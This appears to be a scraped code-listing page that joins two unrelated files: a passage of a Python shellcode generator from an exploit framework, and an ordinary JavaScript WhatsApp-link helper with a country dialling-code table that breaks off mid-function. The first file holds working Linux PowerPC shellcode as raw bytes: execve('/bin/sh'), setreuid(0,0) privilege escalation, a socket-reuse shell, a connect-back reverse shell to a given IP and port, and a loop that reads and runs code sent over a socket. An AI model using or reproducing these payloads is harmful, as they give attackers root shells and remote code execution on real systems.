"\xf5\xff\xff\xea" # b pcloc140 code += "/bin/sh\x00"141 self.value += code142 return code143class linux_ppc(shellcodeGenerator):144 """ XXX: This will be broken right about now."""145 146 def __init__(self):147 shellcodeGenerator.__init__(self, "PPC")148 self.libc = GetMOSDEFlibc('Linux', 'ppc')149 self.handlers["trap"]=self.trap150 self.handlers["exit"]=self.exit151 self.handlers["execve"]=self.execve152 self.handlers["execve+exit"]=self.execve_exit153 self.handlers["setreuid+execve"]=self.setreuid_execve154 self.handlers["setreuid+execve+exit"]=self.setreuid_execve_exit155 self.handlers["GOOOFindSockWithShell"]=self.GOOOFindSockWithShell156 self.handlers["GOOOConnectBackWithShell"]=self.GOOOConnectBackWithShell157 self.handlers["read_exec"]=self.read_exec158 self.handlers["read_exec_loop"]=self.read_exec_loop159 self.handlers["sendreg"]=self.sendreg160 161 def trap(self, args_ignored):162 code = "\x7f\xe0\x00\x08"163 self.value += code164 return code165 166 def sendreg(self, args):167 # send a 32-Bit register168 fdreg = args['fdreg']169 code = """170 stwu r1, -8(r1)171 stw REGTOSEND, 4(r1)172 li r0, SYS_write173 mr r3, FDREG174 addi r4, r1, 4175 li r5, 4176 sc177 !lwz r1, 0(r1)178 addi r1, r1, 8179 """180 code = code.replace("FDREG", args["fdreg"])181 code = code.replace("REGTOSEND", args["regtosend"])182 code = self.libc.patch_defines_with_values(code, ["SYS_write"])183 return self.assemble(code)184 def exit(self, args_ignored):185 # _exit(?);186 code = "\x38\x00\x00\x01" # li r0, SYS__exit187 code += "\x44\x00\x00\x02" # sc188 self.value += code189 return code190 191 def execve(self, args):192 """ 52 bytes execve(/bin/sh) without '\x00' null-byte """193 194 # execve("/bin/sh", ["/bin/sh", NULL], [NULL]);195 code = "\x7c\x63\x1a\x79" # xor. r3,r3,r3196 code += "\x90\x61\xff\xfc" # stw r3,-4(r1)197 code += "\x41\xa1\xff\xf9" # bgtl- <shellcode>198 code += "\x7d\xa8\x02\xa6" # mflr r13199 code += "\x39\xad\xfe\x46" # addi r13,r13,-442200 code += "\x88\x0d\x01\xd4" # lbz r0,468(r13)201 if args and "CleanExit" in args:202 code += "\x38\x6d\x01\xe2" # addi r3,r13,474+2*4203 else:204 code += "\x38\x6d\x01\xda" # addi r3,r13,474205 code += "\x38\xa1\xff\xfc" # addi r5,r1,-4206 code += "\x94\x61\xff\xf8" # stwu r3,-8(r1)207 code += "\x7c\x24\x0b\x78" # mr r4,r1208 code += "\x44\x05\x80\x02" # sc209 if args and "CleanExit" in args:210 # _exit(?);211 code += "\x88\x0d\x01\xdc" # lbz r0,476(r13)212 code += "\x44\x03\x80\x02" # sc213 code += "/bin/sh\x00"214 self.value += code215 return code216 def execve_exit(self, args):217 """ 60 bytes execve(/bin/sh)+_exit(?) without '\x00' null-byte """218 return self.execve(["CleanExit"])219 220 def setreuid_execve(self, args):221 """ 64 bytes setreuid(0,0)+execve(/bin/sh) without '\x00' null-byte """222 223 # setreuid(0, 0);224 code = "\x7c\x63\x1a\x79" # xor. r3,r3,r3225 code += "\x90\x61\xff\xfc" # stw r3,-4(r1)226 code += "\x7c\x64\x1b\x78" # mr r4,r3227 code += "\x41\xa1\xff\xf5" # bgtl- <shellcode>228 code += "\x7d\xa8\x02\xa6" # mflr r13229 code += "\x39\xad\xfe\x46" # addi r13,r13,-442230 code += "\x88\x0d\x01\xc1" # lbz r0,449(r13)231 code += "\x44\x0c\x80\x02" # sc232 # execve("/bin/sh", ["/bin/sh", NULL], [NULL]);233 code += "\x88\x0d\x01\xdc" # lbz r0,476(r13)234 if args and "CleanExit" in args:235 code += "\x38\x6d\x01\xea" # addi r3,r13,482+2*4236 else:237 code += "\x38\x6d\x01\xe2" # addi r3,r13,482238 code += "\x38\xa1\xff\xfc" # addi r5,r1,-4239 code += "\x94\x61\xff\xf8" # stwu r3,-8(r1)240 code += "\x7c\x24\x0b\x78" # mr r4,r1241 code += "\x44\x05\x80\x02" # sc242 if args and "CleanExit" in args:243 # _exit(?);244 code += "\x88\x0d\x01\xe4" # lbz r0,484(r13)245 code += "\x44\x03\x80\x02" # sc246 code += "/bin/sh\x00"247 self.value += code248 return code249 250 def setreuid_execve_exit(self, args):251 """ 72 bytes setreuid(0,0)+execve(/bin/sh)+_exit(?) without '\x00' null-byte """252 return self.setreuid_execve(["CleanExit"])253 254 def GOOOFindSockWithShell(self, args):255 """ 280|296 bytes GOOOcode """256 257 code = "\x94\x21\xff\xd0" # stwu r1,-48(r1)258 if args and "setreuid" in args:259 # setreuid(0, 0);260 code += "\x38\x00\x00\x46" # li r0,70261 code += "\x38\x60\x00\x00" # li r3,0262 code += "\x7c\x64\x1b\x78" # mr r4,r3263 code += "\x44\x00\x00\x02" # sc 264 code += "\x4c\xe7\x3a\x42" # crset 4*cr1+so265 code += "\x41\xa7\x00\x19" # bsol+ cr1,100000a4 <.start>266 # close(fd);267 code += "\x38\x00\x00\x06" # li r0,6268 code += "\x44\x00\x00\x02" # sc 269 code += "\x90\x61\xff\xfc" # stw r3,-4(r1)270 code += "\x4e\x80\x00\x20" # blr 271 # magic:272 code += "\x47\x4f\x4f\x4f"273 code += "\x7d\xa8\x02\xa6" # mflr r13274 # getpeername(fd, sa = [128], &salen = 128);275 code += "\x3b\x80\xff\xff" # li r28,-1276 code += "\x3b\xe0\x04\x00" # li r31,1024277 code += "\x38\x00\x00\x80" # li r0,128278 code += "\x90\x01\x00\x0c" # stw r0,12(r1)279 code += "\x38\x81\x00\x28" # addi r4,r1,40280 code += "\x38\xa1\x00\x0c" # addi r5,r1,12281 code += "\x93\xe1\x00\x14" # stw r31,20(r1)282 code += "\x90\x81\x00\x18" # stw r4,24(r1)283 code += "\x90\xa1\x00\x1c" # stw r5,28(r1)284 code += "\x38\x81\x00\x14" # addi r4,r1,20285 code += "\x38\x60\x00\x07" # li r3,7286 code += "\x38\x00\x00\x66" # li r0,102287 code += "\x44\x00\x00\x02" # sc 288 code += "\x2e\x1c\xff\xff" # cmpwi cr4,r28,-1289 code += "\x2c\x03\x00\x00" # cmpwi r3,0290 code += "\x40\xa2\x00\x14" # bne+ 100000f8 <.getpeername_failed>291 code += "\x7f\xe3\xfb\x78" # mr r3,r31292 code += "\x40\x92\xff\xa5" # bnel+ cr4,10000090 <close>293 code += "\x41\x92\x00\x30" # beq- cr4,10000120 <.loop1_foundfd>294 code += "\x48\x00\x00\x18" # b 1000010c <.loop1_end>295 code += "\x2f\x83\x00\x58" # cmpwi cr7,r3,88296 code += "\x2f\x03\x00\x6b" # cmpwi cr6,r3,107297 code += "\x7f\xe3\xfb\x78" # mr r3,r31298 code += "\x41\x9e\xff\x8d" # beql+ cr7,10000090 <close>299 code += "\x41\x9a\xff\x89" # beql+ cr6,10000090 <close>300 code += "\x2f\x9f\x00\x00" # cmpwi cr7,r31,0301 code += "\x60\x00\x00\x00" # nop 302 code += "\x3b\xff\xff\xff" # addi r31,r31,-1303 code += "\x40\xbe\xff\x98" # bne- cr7,100000b0 <getpeername>304 code += "\x48\x00\x00\x0c" # b 10000128 <.loop1_out>305 code += "\x7f\xfc\xfb\x78" # mr r28,r31306 code += "\x4b\xff\xff\xe8" # b 1000010c <.loop1_end>307 code += "\x40\xb2\x00\x0c" # bne+ cr4,10000134 <.no_exit>308 # exit(?);309 code += "\x38\x00\x00\x01" # li r0,1310 code += "\x44\x00\x00\x02" # sc 311 # write(fd, "GOOO", 4);312 code += "\x7f\x83\xe3\x78" # mr r3,r28313 code += "\x38\x8d\x00\x10" # addi r4,r13,16314 code += "\x38\xa0\x00\x04" # li r5,4315 code += "\x38\x00\x00\x04" # li r0,4316 code += "\x44\x00\x00\x02" # sc 317 # // fd in $r28318 if args and "execshell" in args:319 # dup2(fd, [0,1,2]);320 code += "\x3b\xe0\x00\x02" # li r31,2321 code += "\x7f\x9c\xf8\x00" # cmpw cr7,r28,r31322 code += "\x41\x9e\x00\x14" # beq- cr7,10000164 <.dup2_nextfd>323 code += "\x7f\x83\xe3\x78" # mr r3,r28324 code += "\x7f\xe4\xfb\x78" # mr r4,r31325 code += "\x38\x00\x00\x3f" # li r0,63326 code += "\x44\x00\x00\x02" # sc 327 code += "\x2f\x9f\x00\x00" # cmpwi cr7,r31,0328 code += "\x3b\xff\xff\xff" # addi r31,r31,-1329 code += "\x40\x9e\xff\xe0" # bne+ cr7,1000014c <.dup2_loop>330 code += "\x2f\x9c\x00\x02" # cmpwi cr7,r28,2331 code += "\x7f\x83\xe3\x78" # mr r3,r28332 code += "\x41\xbd\xff\x19" # bgtl- cr7, <close>333 # execve("/bin/sh", ["/bin/sh", NULL], [NULL]);334 code += "\x38\x00\x00\x0b" # li r0, 11335 code += "\x38\x6d\x01\x04" # addi r3, r13, 260336 code += "\x90\x61\xff\xf8" # stw r3, -8(r1)337 code += "\x38\x81\xff\xf8" # addi r4, r1, -8338 code += "\x38\xa1\xff\xfc" # addi r5, r1, -4339 code += "\x44\x00\x00\x02" # sc 340 # _bin_sh:341 code += "/bin/sh\x00"342 else:343 code += "\x38\x21\x00\x30" # addi r1, r1, 48344 #code += "\x80\x21\xff\xd0" # lwz r1, -48(r1)345 self.value += code346 return code347 348 def GOOOConnectBackWithShell(self, args):349 """ ? bytes GOOOcode """350 351 import struct, socket352 if not "magic" in args:353 args['magic'] = "GOOO"354 code = "\x94\x21\xff\xb0"355 if "setreuid" in args:356 code += "\x38\x80\x00\x00"357 code += "\x38\x60\x00\x00"358 code += "\x38\x00\x00\x46"359 code += "\x44\x00\x00\x02"360 code += "\x42\x9f\x00\x21"361 code += "\x90\x81\x00\x14"362 code += "\x90\xa1\x00\x18"363 code += "\x90\xc1\x00\x1c"364 code += "\x38\x81\x00\x14"365 code += "\x38\x00\x00\x66"366 code += "\x44\x00\x00\x02"367 code += "\x4e\x80\x00\x20"368 code += "\x7d\xa8\x02\xa6"369 code += "\x3b\x80\x03\xff"370 code += "\x7f\x83\xe3\x78"371 code += "\x38\x00\x00\x06"372 code += "\x44\x00\x00\x02"373 code += "\x37\x9c\xff\xff"374 code += "\x40\x80\xff\xf0"375 code += "\x38\x80\x00\x02"376 code += "\x38\xa0\x00\x01"377 code += "\x38\xc0\x00\x06"378 code += "\x38\x60\x00\x01"379 code += "\x4b\xff\xff\xb9"380 code += "\x38\x80\x00\x00"381 code += "\x38\xad\x00\xb0"382 code += "\x38\xc0\x00\x10"383 code += "\x38\x60\x00\x03"384 code += "\x4b\xff\xff\xa5"385 code += "\x38\x60\x00\x00"386 code += "\x38\x8d\x00\xb8"387 code += "\x38\xa0\x00\x04"388 code += "\x38\x00\x00\x04"389 code += "\x44\x00\x00\x02"390 code += "\x3b\x83\xff\xfe"391 code += "\x37\x9c\xff\xff"392 code += "\x38\x9c\x00\x01"393 code += "\x38\x60\x00\x00"394 code += "\x38\x00\x00\x3f"395 code += "\x44\x00\x00\x02"396 code += "\x41\x81\xff\xec"397 code += "\x38\x6d\x00\xa8"398 code += "\x90\x61\xff\xf8"399 code += "\x38\x81\xff\xf8"400 code += "\x38\xa1\xff\xfc"401 code += "\x38\x00\x00\x0b"402 code += "\x44\x00\x00\x02"403 code += "/bin/sh\x00\x00\x02"404 code += struct.pack(">H", int(args['port']))405 code += socket.inet_aton(socket.gethostbyname(args['ipaddress']))406 code += args['magic'][:4]407 self.value += code408 return code409 410 def read_exec(self, args, use_mmap = False, L1CACHESIZE = 8*1024):411 # http://developer.apple.com/documentation/DeveloperTools/Conceptual/LowLevelABI/Articles/32bitPowerPC.html#//apple_ref/doc/uid/TP40002438-SW17412 # check http://www.cpu-collection.de/?l0=co&l1=IBM&l2=PowerPC for L1 cache size413 assert not L1CACHESIZE % 1024, "L1 Cache MUST be 1K aligned!"414 if args == None: # if called from __main__415 args = {'fdval': 666}416 if 'fdval' in args.keys():417 pattern = "li r3, FDVAL\n".replace("FDVAL", str(args["fdval"]))418 else:419 pattern = "mr r3, FDREG\n".replace("FDREG", args["fdreg"])420 code = """421 ! stack alloc XXX 12 = 4(ra) + 4(fd) + 4(sz)422 stwu r1, -0x1000(r1)423 """424 425 if use_mmap or True:426 import math427 l1bitshift = 31 - int(math.log(L1CACHESIZE, 2))428 l1bitmask = L1CACHESIZE - 1429 codecache = ""430 #codecache = """431 code += """432 read_exec_loop:433 ! depending of L1 cache434 ! mmap(0, 0x10000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);435 li r0, 90436 li r3, 0437 lis r4, 1438 li r5, 7439 li r6, 0x22440 li r7, -1441 li r8, 0442 sc443 bso- mmap_failed444 cmpwi r3, -1445 beq- mmap_failed446 stw r3, 16(r1)447 """448 449 code += """450! XXX: changed to jmp to mmap at start of loop 451! read_exec_loop:452 ! e = read(fd, &size, 4);453 li r0, SYS_read454 PATTERN_set_fd_in_r3455 addi r4, r1, 12456 li r5, 4457 sc458 bso- read_failed459 ! if (e != 4) exit();460 cmpwi r3, 4461 bne- read_failed462 463 """464 465 if use_mmap:466 code += """467 lwz r14, 16(r1) ! addr468 lwz r13, 12(r1) ! size469 mtlr r14470 ! e = read(fd, &buf, size);471 read_more:472 PATTERN_set_fd_in_r3473 li r0, SYS_read474 mr r4, r14475 mr r5, r13476 sc477 ! if (e <= 0) exit();478 bso- read_failed479 cmpwi r3, 0480 ble- read_failed481 subfc. r13, r3, r13482 add r14, r14, r3483 bgt- read_more484 """485 else:486 code += """487 ! e = read(fd, &buf, size);488 PATTERN_set_fd_in_r3489 lwz r5,12(r1)490 addi r4, r1, 16491 mtlr r4492 li r0, SYS_read493 sc494 bso- read_failed495 ! if (e <= 0) exit();496 cmpwi r3,0497 ble- read_failed498 """499 codecache += """500 ! depending of L1 cache (16K)501 ! check http://www.cpu-collection.de/?l0=co&l1=IBM&l2=PowerPC502 ! XXX: I don't think all PPC out there support these cache instructions ..503 ! XXX: can we do a noir-style branch-nop overwrite flush ???504 mflr r30505 rlwinm r31, r30, 0, 0, L1SHIFT ! addr & ~(L1CACHESIZE - 1)506 lwz r29, 12(r1)507 add r0, r30, r29508 ori r0, r0, L1MASK ! (addr + size) | (L1CACHESIZE - 1)509 510 update_cache:511 dcbf r0, r31512 sync ! flush513 icbi r0, r31514 addi r31, r31, L1MASK515 cmpw r31, r0516 ble+ update_cache517 isync ! before use the code518 519 """520 codecache = codecache.replace("L1SHIFT", str(l1bitshift))521 codecache = codecache.replace("L1MASK", str(l1bitmask))522 code += codecache523 524 code += """525 ! restore stack and jump to $lr=buf526 !lwz r1, 0(r1)527 blrl528 ! munmap and loop back529 li r0, 91530 lwz r3, 16(r1)531 lis r4, 1532 sc533 b read_exec_loop534 mmap_failed:535 read_failed:536 li r0, SYS__exit537 sc538 """539 code = code.replace("PATTERN_set_fd_in_r3", pattern)540 code = self.libc.patch_defines_with_values(code, ["SYS_read", "SYS__exit"])541 return self.assemble(code)542 543 def read_exec_loop(self, args):544 return self.read_exec(args, use_mmap = True)545if __name__=="__main__":546 547 from exploitutils import *548 import shellcodeGenerator549 550 def test_shellcode(procname, shellcodename, shellcodeargs = None):551 try:552 shellcodegen = getattr(shellcodeGenerator, 'linux_' + procname)553 except:554 return555 shellcodegen = shellcodegen()556 shellcodegen.addAttr(shellcodename, shellcodeargs)557 shellcode = shellcodegen.get()558 if shellcodeargs:559 shellcodeargs = " " + str(shellcodeargs)560 else:561 shellcodeargs = ""562 print "- %s%s length:%d" % (shellcodename, shellcodeargs, len(shellcode))563 print shellcode_dump(shellcode, mode="RISC")564 565 #########566 #567 # mipsel568 #569 #########570 571 print "testing Linux/mipsel ..."572 573 test_shellcode("mipsel", "GOFindSockWithShell")574 test_shellcode("mipsel", "GOFindSockWithShell", ["CleanSockOpt"])575 576 print "Linux/mipsel tests done.\n"577 578 #########579 #580 # armel581 #582 #########583 584 print "testing Linux/armel ..."585 586 test_shellcode("armel", "setuid+execve")587 588 print "Linux/armel tests done.\n"589 590 #########591 #592 # ppc593 #594 #########595 596 print "testing Linux/ppc ..."597 598 test_shellcode("ppc", "execve")599 test_shellcode("ppc", "execve+exit")600 test_shellcode("ppc", "setreuid+execve")601 test_shellcode("ppc", "setreuid+execve+exit")602 test_shellcode("ppc", "GOOOFindSockWithShell")603 test_shellcode("ppc", "read_exec")604 test_shellcode("ppc", "read_exec_loop")605 ...

Full Screen

Full Screen

app.js

Source:app.js Github

copy

Full Screen

1//let countryCode = document.getElementById("countryCode")2let country = document.getElementById("country");3let phone = document.getElementById("phone");4let sendMsg = document.getElementById("sendMsg");5let msg = document.getElementById("msg");6let linkOfWA = document.getElementById("waLink");7let whatsApp = "https://wa.me/";8//countrycodes with names9let countryInfo = {10 "countries": [{11 "code": "+7840",12 "name": "Abkhazia"13 },14 {15 "code": "+93",16 "name": "Afghanistan"17 },18 {19 "code": "+355",20 "name": "Albania"21 },22 {23 "code": "+213",24 "name": "Algeria"25 },26 {27 "code": "+1 684",28 "name": "American Samoa"29 },30 {31 "code": "+376",32 "name": "Andorra"33 },34 {35 "code": "+244",36 "name": "Angola"37 },38 {39 "code": "+1 264",40 "name": "Anguilla"41 },42 {43 "code": "+1 268",44 "name": "Antigua and Barbuda"45 },46 {47 "code": "+54",48 "name": "Argentina"49 },50 {51 "code": "+374",52 "name": "Armenia"53 },54 {55 "code": "+297",56 "name": "Aruba"57 },58 {59 "code": "+247",60 "name": "Ascension"61 },62 {63 "code": "+61",64 "name": "Australia"65 },66 {67 "code": "+672",68 "name": "Australian External Territories"69 },70 {71 "code": "+43",72 "name": "Austria"73 },74 {75 "code": "+994",76 "name": "Azerbaijan"77 },78 {79 "code": "+1 242",80 "name": "Bahamas"81 },82 {83 "code": "+973",84 "name": "Bahrain"85 },86 {87 "code": "+880",88 "name": "Bangladesh"89 },90 {91 "code": "+1 246",92 "name": "Barbados"93 },94 {95 "code": "+1 268",96 "name": "Barbuda"97 },98 {99 "code": "+375",100 "name": "Belarus"101 },102 {103 "code": "+32",104 "name": "Belgium"105 },106 {107 "code": "+501",108 "name": "Belize"109 },110 {111 "code": "+229",112 "name": "Benin"113 },114 {115 "code": "+1 441",116 "name": "Bermuda"117 },118 {119 "code": "+975",120 "name": "Bhutan"121 },122 {123 "code": "+591",124 "name": "Bolivia"125 },126 {127 "code": "+387",128 "name": "Bosnia and Herzegovina"129 },130 {131 "code": "+267",132 "name": "Botswana"133 },134 {135 "code": "+55",136 "name": "Brazil"137 },138 {139 "code": "+246",140 "name": "British Indian Ocean Territory"141 },142 {143 "code": "+1 284",144 "name": "British Virgin Islands"145 },146 {147 "code": "+673",148 "name": "Brunei"149 },150 {151 "code": "+359",152 "name": "Bulgaria"153 },154 {155 "code": "+226",156 "name": "Burkina Faso"157 },158 {159 "code": "+257",160 "name": "Burundi"161 },162 {163 "code": "+855",164 "name": "Cambodia"165 },166 {167 "code": "+237",168 "name": "Cameroon"169 },170 {171 "code": "+1",172 "name": "Canada"173 },174 {175 "code": "+238",176 "name": "Cape Verde"177 },178 {179 "code": "+ 345",180 "name": "Cayman Islands"181 },182 {183 "code": "+236",184 "name": "Central African Republic"185 },186 {187 "code": "+235",188 "name": "Chad"189 },190 {191 "code": "+56",192 "name": "Chile"193 },194 {195 "code": "+86",196 "name": "China"197 },198 {199 "code": "+61",200 "name": "Christmas Island"201 },202 {203 "code": "+61",204 "name": "Cocos-Keeling Islands"205 },206 {207 "code": "+57",208 "name": "Colombia"209 },210 {211 "code": "+269",212 "name": "Comoros"213 },214 {215 "code": "+242",216 "name": "Congo"217 },218 {219 "code": "+243",220 "name": "Congo, Dem. Rep. of (Zaire)"221 },222 {223 "code": "+682",224 "name": "Cook Islands"225 },226 {227 "code": "+506",228 "name": "Costa Rica"229 },230 {231 "code": "+385",232 "name": "Croatia"233 },234 {235 "code": "+53",236 "name": "Cuba"237 },238 {239 "code": "+599",240 "name": "Curacao"241 },242 {243 "code": "+537",244 "name": "Cyprus"245 },246 {247 "code": "+420",248 "name": "Czech Republic"249 },250 {251 "code": "+45",252 "name": "Denmark"253 },254 {255 "code": "+246",256 "name": "Diego Garcia"257 },258 {259 "code": "+253",260 "name": "Djibouti"261 },262 {263 "code": "+1 767",264 "name": "Dominica"265 },266 {267 "code": "+1 809",268 "name": "Dominican Republic"269 },270 {271 "code": "+670",272 "name": "East Timor"273 },274 {275 "code": "+56",276 "name": "Easter Island"277 },278 {279 "code": "+593",280 "name": "Ecuador"281 },282 {283 "code": "+20",284 "name": "Egypt"285 },286 {287 "code": "+503",288 "name": "El Salvador"289 },290 {291 "code": "+240",292 "name": "Equatorial Guinea"293 },294 {295 "code": "+291",296 "name": "Eritrea"297 },298 {299 "code": "+372",300 "name": "Estonia"301 },302 {303 "code": "+251",304 "name": "Ethiopia"305 },306 {307 "code": "+500",308 "name": "Falkland Islands"309 },310 {311 "code": "+298",312 "name": "Faroe Islands"313 },314 {315 "code": "+679",316 "name": "Fiji"317 },318 {319 "code": "+358",320 "name": "Finland"321 },322 {323 "code": "+33",324 "name": "France"325 },326 {327 "code": "+596",328 "name": "French Antilles"329 },330 {331 "code": "+594",332 "name": "French Guiana"333 },334 {335 "code": "+689",336 "name": "French Polynesia"337 },338 {339 "code": "+241",340 "name": "Gabon"341 },342 {343 "code": "+220",344 "name": "Gambia"345 },346 {347 "code": "+995",348 "name": "Georgia"349 },350 {351 "code": "+49",352 "name": "Germany"353 },354 {355 "code": "+233",356 "name": "Ghana"357 },358 {359 "code": "+350",360 "name": "Gibraltar"361 },362 {363 "code": "+30",364 "name": "Greece"365 },366 {367 "code": "+299",368 "name": "Greenland"369 },370 {371 "code": "+1 473",372 "name": "Grenada"373 },374 {375 "code": "+590",376 "name": "Guadeloupe"377 },378 {379 "code": "+1 671",380 "name": "Guam"381 },382 {383 "code": "+502",384 "name": "Guatemala"385 },386 {387 "code": "+224",388 "name": "Guinea"389 },390 {391 "code": "+245",392 "name": "Guinea-Bissau"393 },394 {395 "code": "+595",396 "name": "Guyana"397 },398 {399 "code": "+509",400 "name": "Haiti"401 },402 {403 "code": "+504",404 "name": "Honduras"405 },406 {407 "code": "+852",408 "name": "Hong Kong SAR China"409 },410 {411 "code": "+36",412 "name": "Hungary"413 },414 {415 "code": "+354",416 "name": "Iceland"417 },418 {419 "code": "+91",420 "name": "India"421 },422 {423 "code": "+62",424 "name": "Indonesia"425 },426 {427 "code": "+98",428 "name": "Iran"429 },430 {431 "code": "+964",432 "name": "Iraq"433 },434 {435 "code": "+353",436 "name": "Ireland"437 },438 {439 "code": "+972",440 "name": "Israel"441 },442 {443 "code": "+39",444 "name": "Italy"445 },446 {447 "code": "+225",448 "name": "Ivory Coast"449 },450 {451 "code": "+1 876",452 "name": "Jamaica"453 },454 {455 "code": "+81",456 "name": "Japan"457 },458 {459 "code": "+962",460 "name": "Jordan"461 },462 {463 "code": "+7 7",464 "name": "Kazakhstan"465 },466 {467 "code": "+254",468 "name": "Kenya"469 },470 {471 "code": "+686",472 "name": "Kiribati"473 },474 {475 "code": "+965",476 "name": "Kuwait"477 },478 {479 "code": "+996",480 "name": "Kyrgyzstan"481 },482 {483 "code": "+856",484 "name": "Laos"485 },486 {487 "code": "+371",488 "name": "Latvia"489 },490 {491 "code": "+961",492 "name": "Lebanon"493 },494 {495 "code": "+266",496 "name": "Lesotho"497 },498 {499 "code": "+231",500 "name": "Liberia"501 },502 {503 "code": "+218",504 "name": "Libya"505 },506 {507 "code": "+423",508 "name": "Liechtenstein"509 },510 {511 "code": "+370",512 "name": "Lithuania"513 },514 {515 "code": "+352",516 "name": "Luxembourg"517 },518 {519 "code": "+853",520 "name": "Macau SAR China"521 },522 {523 "code": "+389",524 "name": "Macedonia"525 },526 {527 "code": "+261",528 "name": "Madagascar"529 },530 {531 "code": "+265",532 "name": "Malawi"533 },534 {535 "code": "+60",536 "name": "Malaysia"537 },538 {539 "code": "+960",540 "name": "Maldives"541 },542 {543 "code": "+223",544 "name": "Mali"545 },546 {547 "code": "+356",548 "name": "Malta"549 },550 {551 "code": "+692",552 "name": "Marshall Islands"553 },554 {555 "code": "+596",556 "name": "Martinique"557 },558 {559 "code": "+222",560 "name": "Mauritania"561 },562 {563 "code": "+230",564 "name": "Mauritius"565 },566 {567 "code": "+262",568 "name": "Mayotte"569 },570 {571 "code": "+52",572 "name": "Mexico"573 },574 {575 "code": "+691",576 "name": "Micronesia"577 },578 {579 "code": "+1 808",580 "name": "Midway Island"581 },582 {583 "code": "+373",584 "name": "Moldova"585 },586 {587 "code": "+377",588 "name": "Monaco"589 },590 {591 "code": "+976",592 "name": "Mongolia"593 },594 {595 "code": "+382",596 "name": "Montenegro"597 },598 {599 "code": "+1664",600 "name": "Montserrat"601 },602 {603 "code": "+212",604 "name": "Morocco"605 },606 {607 "code": "+95",608 "name": "Myanmar"609 },610 {611 "code": "+264",612 "name": "Namibia"613 },614 {615 "code": "+674",616 "name": "Nauru"617 },618 {619 "code": "+977",620 "name": "Nepal"621 },622 {623 "code": "+31",624 "name": "Netherlands"625 },626 {627 "code": "+599",628 "name": "Netherlands Antilles"629 },630 {631 "code": "+1 869",632 "name": "Nevis"633 },634 {635 "code": "+687",636 "name": "New Caledonia"637 },638 {639 "code": "+64",640 "name": "New Zealand"641 },642 {643 "code": "+505",644 "name": "Nicaragua"645 },646 {647 "code": "+227",648 "name": "Niger"649 },650 {651 "code": "+234",652 "name": "Nigeria"653 },654 {655 "code": "+683",656 "name": "Niue"657 },658 {659 "code": "+672",660 "name": "Norfolk Island"661 },662 {663 "code": "+850",664 "name": "North Korea"665 },666 {667 "code": "+1 670",668 "name": "Northern Mariana Islands"669 },670 {671 "code": "+47",672 "name": "Norway"673 },674 {675 "code": "+968",676 "name": "Oman"677 },678 {679 "code": "+92",680 "name": "Pakistan"681 },682 {683 "code": "+680",684 "name": "Palau"685 },686 {687 "code": "+970",688 "name": "Palestinian Territory"689 },690 {691 "code": "+507",692 "name": "Panama"693 },694 {695 "code": "+675",696 "name": "Papua New Guinea"697 },698 {699 "code": "+595",700 "name": "Paraguay"701 },702 {703 "code": "+51",704 "name": "Peru"705 },706 {707 "code": "+63",708 "name": "Philippines"709 },710 {711 "code": "+48",712 "name": "Poland"713 },714 {715 "code": "+351",716 "name": "Portugal"717 },718 {719 "code": "+1 787",720 "name": "Puerto Rico"721 },722 {723 "code": "+974",724 "name": "Qatar"725 },726 {727 "code": "+262",728 "name": "Reunion"729 },730 {731 "code": "+40",732 "name": "Romania"733 },734 {735 "code": "+7",736 "name": "Russia"737 },738 {739 "code": "+250",740 "name": "Rwanda"741 },742 {743 "code": "+685",744 "name": "Samoa"745 },746 {747 "code": "+378",748 "name": "San Marino"749 },750 {751 "code": "+966",752 "name": "Saudi Arabia"753 },754 {755 "code": "+221",756 "name": "Senegal"757 },758 {759 "code": "+381",760 "name": "Serbia"761 },762 {763 "code": "+248",764 "name": "Seychelles"765 },766 {767 "code": "+232",768 "name": "Sierra Leone"769 },770 {771 "code": "+65",772 "name": "Singapore"773 },774 {775 "code": "+421",776 "name": "Slovakia"777 },778 {779 "code": "+386",780 "name": "Slovenia"781 },782 {783 "code": "+677",784 "name": "Solomon Islands"785 },786 {787 "code": "+27",788 "name": "South Africa"789 },790 {791 "code": "+500",792 "name": "South Georgia and the South Sandwich Islands"793 },794 {795 "code": "+82",796 "name": "South Korea"797 },798 {799 "code": "+34",800 "name": "Spain"801 },802 {803 "code": "+94",804 "name": "Sri Lanka"805 },806 {807 "code": "+249",808 "name": "Sudan"809 },810 {811 "code": "+597",812 "name": "Suriname"813 },814 {815 "code": "+268",816 "name": "Swaziland"817 },818 {819 "code": "+46",820 "name": "Sweden"821 },822 {823 "code": "+41",824 "name": "Switzerland"825 },826 {827 "code": "+963",828 "name": "Syria"829 },830 {831 "code": "+886",832 "name": "Taiwan"833 },834 {835 "code": "+992",836 "name": "Tajikistan"837 },838 {839 "code": "+255",840 "name": "Tanzania"841 },842 {843 "code": "+66",844 "name": "Thailand"845 },846 {847 "code": "+670",848 "name": "Timor Leste"849 },850 {851 "code": "+228",852 "name": "Togo"853 },854 {855 "code": "+690",856 "name": "Tokelau"857 },858 {859 "code": "+676",860 "name": "Tonga"861 },862 {863 "code": "+1 868",864 "name": "Trinidad and Tobago"865 },866 {867 "code": "+216",868 "name": "Tunisia"869 },870 {871 "code": "+90",872 "name": "Turkey"873 },874 {875 "code": "+993",876 "name": "Turkmenistan"877 },878 {879 "code": "+1 649",880 "name": "Turks and Caicos Islands"881 },882 {883 "code": "+688",884 "name": "Tuvalu"885 },886 {887 "code": "+1 340",888 "name": "U.S. Virgin Islands"889 },890 {891 "code": "+256",892 "name": "Uganda"893 },894 {895 "code": "+380",896 "name": "Ukraine"897 },898 {899 "code": "+971",900 "name": "United Arab Emirates"901 },902 {903 "code": "+44",904 "name": "United Kingdom"905 },906 {907 "code": "+1",908 "name": "United States"909 },910 {911 "code": "+598",912 "name": "Uruguay"913 },914 {915 "code": "+998",916 "name": "Uzbekistan"917 },918 {919 "code": "+678",920 "name": "Vanuatu"921 },922 {923 "code": "+58",924 "name": "Venezuela"925 },926 {927 "code": "+84",928 "name": "Vietnam"929 },930 {931 "code": "+1 808",932 "name": "Wake Island"933 },934 {935 "code": "+681",936 "name": "Wallis and Futuna"937 },938 {939 "code": "+967",940 "name": "Yemen"941 },942 {943 "code": "+260",944 "name": "Zambia"945 },946 {947 "code": "+255",948 "name": "Zanzibar"949 },950 {951 "code": "+263",952 "name": "Zimbabwe"953 }954 ]955}956phone.addEventListener("input", () => {957 let countryArray = countryInfo.countries;958 //looping through array inside object959 for (let i = 0; i < countryArray.length; i++) {960 if (phone.value.includes(countryArray[i].code)) {961 country.innerText = countryArray[i].name;962 }963 if (phone.value === "") {964 country.innerText = " ";965 }966 }967})968sendMsg.addEventListener("click", ()=>{969 